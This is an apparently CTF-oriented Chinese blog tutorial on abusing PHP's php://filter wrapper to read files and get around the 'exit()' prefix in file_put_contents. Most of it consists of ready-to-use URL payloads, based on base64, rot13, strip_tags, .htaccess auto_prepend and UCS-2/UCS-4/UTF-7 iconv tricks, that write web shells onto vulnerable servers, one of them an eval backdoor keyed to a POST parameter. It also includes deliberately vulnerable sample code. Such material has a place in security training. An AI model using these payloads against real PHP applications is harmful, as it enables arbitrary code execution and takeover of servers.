php
介绍
对于php://filter伪协议,只知道是可以读取文件
php://filter/read=convert.base64-encode/resource=flag.php没想到他的作用怎么大
php://filter参数
| 名字 | 描述 |
|---|---|
| resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流 |
| read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(` |
| write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(` |
| <;两个链的筛选列表> | 任何没有以 read= 或 write=作前缀 的筛选器列表会视情况应用于读或写链 |
php://filter
常规
<?php $file1 = $_GET['file1']; $file2 = $_GET['file2']; $txt = $_GET['txt'];
// 读取文件 echo file_get_contents($file1); // 写文件 file_put_contents($file2,$txt);?>读文件
file1=php://filter/resource=flag.txtfile1=php://filter/read=convert.base64-encode/resource=flag.txt
编码读取

写文件
file2=php://filter/resource=f2.txt&txt=hellowroldfile2=php://filter/write=convert.base64-encode/resource=f1.txt&txt=hellowrold

死亡绕过exit():
在使用file_put_contents()函数进行文件写入的时候,经常会遇到通过exit()函数来避免命令执行的方法。一般管这玩意儿叫做死亡函数。
而一般有三种形式
file_put_contents($filename , "<?php exit();".$content);file_put_contents($content,"<?php exit();".$content);file_put_contents($filename,$content."\nzangShuju");第一种情况exit
file_put_contents($filename , "<?php exit();".$content);base64编码绕过
Base64编码是使用64个可打印ASCII字符 a-z,0-9,A-Z,+,=,/ 将任意字节序列数据编码成ASCII字符串,其中=用于填充字符串。
在base64解密过程是按4个字符一起解码,并且对于不在base64字符集中的字符,会直接跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
也就是说此时的<?php exit();,在base64中会被认为是 phpexit 这7个字符,而上面说到解密是按4个字符一起,所以此时只要再添加一个字符,就会凑成8个字符,然后就会被base64解密成乱码。保存到文件中
实例
<?php$a = $_GET['a'];$b = $_GET['b'];file_put_contents($b,"<?php exit();?>".$a);?>

<?php phpinfo?> base64编码,然后在前面添加一个字符 再传入http://localhost/?b=php://filter/write=convert.base64-decode/resource=test.php&a=aPD9waHAgcGhwaW5mbygpOyA/Pg==


rot13解码绕过:
原理和base64是相同的,之所以使用这个解码方式,是因为在php://filter中自带的加密解密方法就是base64和rot13。 简单来说,这个就是一个凯撒密码,将所有的字母向后位移13位就行。 同时,也和base64一样,会将不在字符集内(a-z,A-Z)的符号进行忽略。
filename=php://filter/string.rot13/resource=shell.php&content=<?cuc cucvasb();?><?cuc cucvasb();?>是phpinfo()的加密



short_open_tagstring.strip_tags绕过
string.strip_tags过滤器从字符串在去除php和html标记,相当于用strip_tags()函数去处理字符串。它使用与函数fgetss()一样的机制去除标记。
并且在php://filter中,可以搭配多种过滤器一起使用,中间用 | 连接,可以搭配convert.base64来写入。
首先将我们想要写入的内容进行base64加密,然后再嵌套使用string.strip_tags和convert.base64-decode,先去除PHP标记,然后再进行base64解密,就可以实现写入了。
payload:
?filename=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php&content=PD9waHAgcGhwaW5mbygpOyA/Pg==


.htaccess的预包含处理
在php.ini中存在两个配置选项:
auto_prepend_file 在页面顶部加载文件auto_append_file 在页面底部加载文件配置方式例如:
auto_prepend_file = "/home/fdipzone/header.php"auto_append_file = "/home/fdipzone/footer.php"这两个配饰选项,可以在页面不做任何改变的情况下,在页面顶部或者底部包含文件。
例如修改php-ini里面的auto_prepend_file="/flag",那么在所有页面的顶部都会包含flag这个文件
不过在做题的过程中一般也无法修改php.ini,所以我们可以在需要加载文件的地方加入.htacess文件,内容如下:
php_value auto_prepend_file "/flag.php"php_value auto_append_file "/flag.php"因此只要能够对.htaccess文件进行修改,就能够使用任何文件对flag文件进行包含了。
可以搭配string.strip_tags过滤器,再闭合前面的php标签。 payload:
?filename=php://filter/write=string.strip_tags/resource=.htaccess&content=?>php_value auto_prepend_file "/flag"exit()绕过进阶:bypass相同变量
实例代码:
<?php$content = $_GET['content'];file_put_contents($content,'<?php exit();'.$content);此时可以看到,他的文件名和写入的内容是同一个变量。看起来难度就比较大,不过依然有些办法能绕过。
base64编码绕过
如果此时我们将base64编码作为文件名来进行的话,看起来好像可以。
?content=php://filter/write=convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php

这是因为当base64解密的时候,如果遇到=号意味着结束,就是说=号后面不允许有任何字符。而<?php exit();?php://filter/write=convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php这个payload上有一个resource=,这就会让base64-decode报错。
所以关键就是要绕过这个等号。刚好前面的string.strip_tags 会去除php和html标记。所以就可以这样构造。
payload:
?content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+.php这里因为文件名有问题,所以可以把PD9waHAgcGhwaW5mbygpOz8+当成目录,然后再../跳回当前目录。并且+号会被当成空格处理,所以进行url编码成%2b
而且要在前面加上 ?> 闭合php标签,不然后我们写入的shell也会被string.strip_tags去除。
所以最终payload:
content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php网上看好几个师傅是这样,但是我这会失败,看另一个师傅的payload是这样的
php://filter/string.strip_tags|convert.base64-decode|%3C/resource=%3EaaPD9waHAgcGhwaW5mbygpOz8+/../123.php这里写入的原理,是因为在伪协议写入的文件流中,使用了string.strip_tags过滤器,当我们直接将文件内容写入后,进行读取的时候,就会将文件中的php标签,或是XML的标签去掉。而在这个payload中,对resource和等号部分做了处理,写成了<resource=>,这里会被理解为是XML的标签,因此会将resource=直接去除,这样就不会因为等号造成影响。


?>等这些特殊字符会导致文件创建失败。不过可以使用convert.iconv.utf-8.utf-7|convert.base64-decode进行绕过。
这里写一个payload,我上面成功就是用的这个。php://filter/write=convert.iconv.utf-8.utf-7|convert.base64-decode|%3C/resource=%3EaaPD9waHAgcGhwaW5mbygpOz8%2b/../123.phprot13绕过
rot13编码只是一个替换字符的凯撒密码,因此不受限等于号。可以和之前的绕过方式一样,直接执行就可以了。 payload:
?content=php://filter/string.rot13|<?cuc cucvasb();?>|/resource=123/../123.php?content=php://filter/write=string.rot13/resource=<?cuc cucvasb();?>/../shell.php
iconv字符编码绕过
这个转化器起到的效果和base64有点相似,都是先编码再解码,然后在过程中去掉死亡代码
在PHP中,iconv函数库主要用于完成各种字符集之间的转换,在该函数库下面存在一个convert.iconv.的过滤器,这个过滤器需要php支持iconv,而iconv是默认编译的。使用convert.iconv.*过滤器等同于使用iconv()函数处理所有的流数据。
(也就是直接对我们使用filter进行传入的所有流数据进行处理。) 不过USC存在两种编码格式:
UCS-2和UCS-4
UCS-2就是用两个字节编码
UCS-4就是用四个字节编码
UCS-2
使用格式:
iconv ( string $in_charset , string $out_charset , string $str ) : string// 参照echo iconv("UCS-2LE","UCS-2BE",'<?php phpinfo();?>');通过UCS-2方式,对目标字符串进行2位一反转(这里的2LE和2BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-2中2的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了 UCS-2格式payload:
?content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php写入内容

USC-2
通过UCS-4方式,对目标字符串进行4位一反转(这里的4LE和4BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-4中4的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了.
<?php ?>');// 28位payload:
?content=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$1[TS]432>?;)/resource=shell.php写入内容

utf8-utf7字符编码绕过
在UTF-8,UTF-7的作用下convert.iconv 这个过滤器可以把等号转化成+AD0-,这样的话,就可以避免因为resource=的原因导致base64解码失败。

?content=php://filter/convert.iconv.UTF-8.UTF-7|convert.base64-decode|aaPD9waHAgcGhwaW5mbygpOyA/Pg==/resource=123.php
?content=php://filter/write=PD9waHAgcGhwaW5mbygpOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=webshell.php写入的文件

赞助支持
如果这篇文章对你有帮助,欢迎赞助支持!